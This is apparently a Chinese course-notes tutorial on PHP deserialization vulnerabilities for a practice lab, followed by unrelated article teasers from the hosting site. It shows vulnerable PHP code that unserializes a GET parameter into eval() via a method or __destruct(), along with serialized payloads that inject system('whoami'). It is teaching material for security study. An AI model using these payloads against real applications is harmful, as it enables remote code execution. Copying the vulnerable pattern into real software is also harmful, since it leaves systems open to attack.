WEB渗透—PHP反序列化(三)

Web渗透—PHP反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


五、反序列化漏洞

1)反序列化之后的内容为一个对象

2)反序列化生成的对象里的,由反序列化里的值提供;与原有类预定义的值无关;

反序列化漏洞的成因:反序列化过程中,unserialize()接收到的值(字符串)可控

通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。

3)反序列化不改变类的成员方法;需要调用方法后才能触发;

通过调用方法,触发代码执行

1.例题代码

<?php 
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}
$get = $_GET["benben"];     //benben为对象序列化后的字符串
$b = unserialize($get);            //$b把字符串$get反序列化为对象,通过更改字符串可改变得到的对象中$a的值
$b->displayVar();                        //通过调用方法触发可控代码
?>

2.解题代码

<?php
class test{
    public $a = "system('whoami');";
}
echo serialize(new test);
?>

输出结果:
O:4:"test":1:{s:1:"a";s:17:"system('whoami');";}

回显结果:

调用displayVar(),displayVar()执行eval(),eval()触发代码


六、魔术方法简介

1.什么是魔术方法

一个预定好的,在特定情况下自动触发的行为方法。

2.魔术方法的作用

反序列化漏洞的成因:

        反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用方法,触发代码执行。

        魔术方法在特定条件下自动调用相关方法,最终导致触发代码

3.魔术方法相关机制

触发时机 ——> 功能 ——> 参数 ——> 返回值

触发时机:动作不同,触发的魔术方法也不同

参数:一些特殊魔术方法会传参

1)__construct(),类的构建函数

2)__destruct(),类的析构函数

3)__call(),在对象中调用一个不可用访问方法时调用

4)__callStatic(),用静态方式中调用一个不可用访问方法时调用

5)__get(),获得一个类的成员变量时调用

6)__isset(),当不可访问属性调用isset()或empty()时调用

7)__set(),设置一个类的成员变量时调用

8)__unset(),当对不可访问属性调用unset()时被调用

9)__sleep(),执行serialize()时,先会调用这个函数

10)__wakeup(),执行unserizlize()时,先会调用这个函数

11)__toString(),类被当成字符串时的回应方法

12)__invoke(),调用函数的方法调用一个对象时的回应方法

13)__ser_state(),调用var_export()导出类时,此静态方法被调用

14)__clone(),当对象复制完成时调用

15)__autoload(),尝试加载未定义的类

16)__debugInfo(),打印所需调试信息

4.__construct()

构造函数,在实例化一个对象的时候,首先会自动执行一个方法;

<?php
class User {
public $username;
public function __construct($username) {
    $this->username = $username;
    echo "触发了构造函数1次" ;
    }
}
$test = new User("benben");         //实例化对象时触发构造函数__construct()
$ser = serialize($test);            //在序列化和反序列化过程中不会触发
unserialize($ser);
?>

触发时机:实例化对象

功能:提前清理不必要内容

参数:非必要

返回值:(无)

5. __destruct()

析构函数,在对象的所有引用被删除或当对象被显式销毁时执行的魔术方法;

<?php
class User {
    public function __destruct(){
        echo "触发了析构函数1次"."<br />" ;
    }
}
$test = new User("benben");               //实例化对象结束后,代码运行完全会销毁,触发析构函数__destruct()
$ser = serialize($test);                  //在序列化过程中不会被触发
unserialize($ser);        ​​​​​​​        ​​​​​​​        //在反序列化过程中会被触发
?>

反序列化得到的是对象,用完后会被销毁,触发析构函数__destruct()

触发时机:对象引用完成,或对象被销毁

功能:(无)

参数:(无)

返回值:(无)

6.析构函数例题

<?php
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval ($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);
?>

反序列化会触发__destruct()

7. 解题代码

<?php
class User {
    var $cmd = "system('whoami');" ;
}
echo serialize(new User);
?>

输出结果:
O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";}

回显结果:

unserialize()触发__destruct(),destruct执行eval(),eval()触发代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/253040.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

07用户行为日志数据采集

用户行为数据由Flume从Kafka直接同步到HDFS&#xff0c;由于离线数仓采用Hive的分区表按天统计&#xff0c;所以目标路径要包含一层日期。具体数据流向如下图所示。 按照规划&#xff0c;该Flume需将Kafka中topic_log的数据发往HDFS。并且对每天产生的用户行为日志进行区分&am…

【学习笔记】JavaScript中的GC算法

1、内存管理 内存&#xff1a;由可读写单元组成&#xff0c;标识一片可操作的空间 管理&#xff1a; 认为的去操作一篇空间的申请、使用和释放 内存管理&#xff1a;开发者主动申请空间、使用空间、释放空间 管理流程&#xff1a; 申请-使用-释放 // 申请 let obj {} //使…

java代理模式

1.定义:一个对象要访问另外一个对象 通过一个中间对象&#xff0c;像一个中介 2.类图 一个抽象类 一个代理类 一个真实调用对象类 3.代理模式 4.符合开闭原则 可以新创建代理类 来满足不通的情况 例如不同等级的账号拥有的权限不同 5.总结 6.类似springAOP

遗传算法应用-- 栅格法机器人路径规划

文章目录 一、遗传算法1.1 编码与解码1.2 选择算子-轮盘赌法1.3 交叉算子1.4 变异算子1.5 遗传算法流程1.6 基于遗传算法的栅格法机器人路径规划 二、采用模拟退火算法改善适应度函数 一、遗传算法 遗传算法 (Genetic AIgorithm, 简称 GA)起源于对生物系统所进行的计算机模拟研…

DC电源模块的设计与制造技术创新

BOSHIDA DC电源模块的设计与制造技术创新 DC电源模块的设计与制造技术创新主要涉及以下几个方面&#xff1a; 1. 高效率设计&#xff1a;传统的DC电源模块存在能量转换损耗较大的问题&#xff0c;技术创新可通过采用高效率的电路拓扑结构、使用高性能的功率开关器件和优化控制…

HarmonyOS云开发基础认证考试满分答案(100分)【全网最全-不断更新】【鸿蒙专栏-29】

系列文章&#xff1a; HarmonyOS应用开发者基础认证满分答案&#xff08;100分&#xff09; HarmonyOS应用开发者基础认证【闯关习题 满分答案】 HarmonyOS应用开发者高级认证满分答案&#xff08;100分&#xff09; HarmonyOS云开发基础认证满分答案&#xff08;100分&#xf…

动态规划——OJ题(一)

&#x1f4d8;北尘_&#xff1a;个人主页 &#x1f30e;个人专栏:《Linux操作系统》《经典算法试题 》《C》 《数据结构与算法》 ☀️走在路上&#xff0c;不忘来时的初心 文章目录 一、第N个泰波那契数1、题目讲解2、思路讲解3、代码实现 二、三步问题1、题目讲解2、思路讲解…

PyCharm community 安装教程

目录 链接cudatoolkit 下载地址&#xff1a;https://www.jetbrains.com/pycharm/download/other.html 双击打开 安装路径&#xff0c;可自行更换到D盘 不导入设置 链接cudatoolkit

英伟达盒子 Jetson Xshell连接串口查看日志方法(串口日志、盒子日志)

文章目录 连接串口xshell连接串口信息 连接串口 接盒子上的A2、B2&#xff0c;以及接地线&#xff1a; 另外一头接上电脑&#xff08;我用的RS485转USB工具&#xff09;&#xff1a; xshell连接 协议选择SERIAL&#xff1a; 设置盒子厂商约定的端口号、波特率、数据位、停止位…

[Verilog] Verilog 数值表示

主页&#xff1a; 元存储博客 文章目录 前言1. 整数表示1.1 整数数据类型1.2 整数转换函数 2. 负数表示3. 实数表示4. 逻辑电平表示5. 逻辑值表示6. 字符表示法7. 字符串表示 前言 Verilog中&#xff0c;可以使用多种方式表示数值。 1. 整数表示 1.1 整数数据类型 基数格式…

相机倾斜棋盘格标定全记录 vs200+opencv安装

论文参考是这个 Geiger A, Moosmann F, Car , et al. Automatic camera and range sensor calibration using a single shot[C]//Robotics and Automation (ICRA), 2012 IEEE International Conference on. IEEE, 2012: 3936-3943. 代码是这个github 花了一上午配好了c环境。。…

AAAI中稿心得

很幸运我们的一篇工作中稿了AAAI2024&#xff0c;题目是 Self-Prompt Mechanism for Few-Shot Image Recognition. 很高兴能在研二的上学期中稿一篇a会保底&#xff0c;也是我中稿的第一篇工作&#xff0c;成为我申请博士的资本。最重要的是&#xff0c;让枯燥无味的科研&#…

linux串口数据丢失--中断绑定CPU优化

问题现象 机器在户外测试时, 出现 轮速记 丢失的现象 小概率出现 50Hz丢失1~2帧极低概率出现 0.1~0.3秒内没有底盘数据 此问题导致slam定位漂, 需要优化处理. 验证与测试 问题1: 底盘串口 一个数据帧(head–data–crc) 被分片2~3报文 解决方法: 检测到head之后, 解析data…

机器学习--归一化处理

归一化 归一化的目的 归一化的一个目的是&#xff0c;使得梯度下降在不同维度 θ \theta θ 参数&#xff08;不同数量级&#xff09;上&#xff0c;可以步调一致协同的进行梯度下降。这就好比社会主义&#xff0c;一小部分人先富裕起来了&#xff0c;先富带后富&#xff0c…

03 使用Vite开发Vue3项目

概述 要使用vite创建Vue3项目&#xff0c;有很多种方式&#xff0c;如果使用命令&#xff0c;则推荐如下命令&#xff1a; # 使用nvm将nodejs的版本切换到20 nvm use 20# 全局安装yarn npm install -g yarn# 使用yarnvite创建项目 yarn create vite不过&#xff0c;笔者更推荐…

docker小白第五天

docker小白第五天 docker的私有库 有些涉密的信息代码不能放在阿里云的镜像仓库&#xff0c;因此需要构建一个个人内网专属的私有库&#xff0c;将镜像或者容器代码进行推送保存。 下载镜像docker registry 执行代码docker pull registry&#xff0c;用于搭建私服前的准备。…

Python异常值的自动检测实战案例

概要 在数据分析和机器学习中&#xff0c;异常值的检测是一个关键步骤&#xff0c;它有助于识别数据中的异常模式和离群点。本文将介绍Python中异常值检测的实战案例&#xff0c;使用一些常见的技术和库&#xff0c;为大家提供全面的示例代码和详细解释。 异常值的定义 异常值…

虚拟机下Ubuntu上网设置

文章目录 一、虚拟机上网的两种方式1.1 NAT模式&#xff08;Network Address Translation&#xff09;1.2 桥接模式&#xff08;Bridge Mode&#xff09;1.3 简介 二、实际配置2.1 NAT模式配置2.2 桥接模式配置 之前跟着博客配了好几个也没用&#xff0c;后来自己慢慢模式实践测…

HQL优化之数据倾斜

group by导致倾斜 前文提到过&#xff0c;Hive中未经优化的分组聚合&#xff0c;是通过一个MapReduce Job实现的。Map端负责读取数据&#xff0c;并按照分组字段分区&#xff0c;通过Shuffle&#xff0c;将数据发往Reduce端&#xff0c;各组数据在Reduce端完成最终的聚合运算。…

女生想通过培训转行软件测试类可行吗?

首先&#xff0c;女生转行IT行业做软件测试是可以的&#xff0c;因为软件测试岗&#xff0c;尤其是其中的功能性测试岗&#xff0c;入行门槛并不高&#xff0c;有很多女生在做&#xff0c;且我个人认为还蛮适合女生的&#xff0c;因为女生相对来说更细心&#xff0c;文档能力也…